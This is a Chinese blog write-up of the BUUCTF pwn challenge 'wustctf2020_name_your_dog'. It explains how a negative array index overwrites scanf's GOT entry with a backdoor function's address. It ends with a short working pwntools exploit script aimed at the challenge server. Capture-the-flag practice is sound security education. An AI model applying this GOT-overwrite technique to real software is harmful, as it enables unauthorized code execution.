[BUUCTF-pwn]——wustctf2020_name_your_dog

[BUUCTF-pwn]——wustctf2020_name_your_dog

checksec看下,
在这里插入图片描述
在IDA中看下, 竟然有后门函数,我们只需要执行该函数就好
在这里插入图片描述
看完代码发现, 没有什么可以溢出的地方. 唯一可以找到修改一些东西的只有, 这个函数, %7s虽然限定了长度但是足够写进去一个地址了.
在这里插入图片描述
看一下它的上一级, 调用发现Dogs在bss段距离got表很近, 意味着我们可以修改一个got表的地址然后, 下面只要有该函数的执行就好. 首先将目光发在了printf函数上
在这里插入图片描述
可是发现,printf距离Dogs的距离不是8 的倍数, 发现由于循环, __isoc99_scanf 函数也会执行. 碰巧距离刚好是8 的倍数-56 = 8 * (-7)
在这里插入图片描述

exploit

from pwn import *
p = remote("node3.buuoj.cn",29805)
#p = process("./wustctf2020_name_your_dog")
shell = 0x080485CB
p.sendlineafter(">",'-7')
p.sendlineafter("Give your name plz: ",p32(shell))

p.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值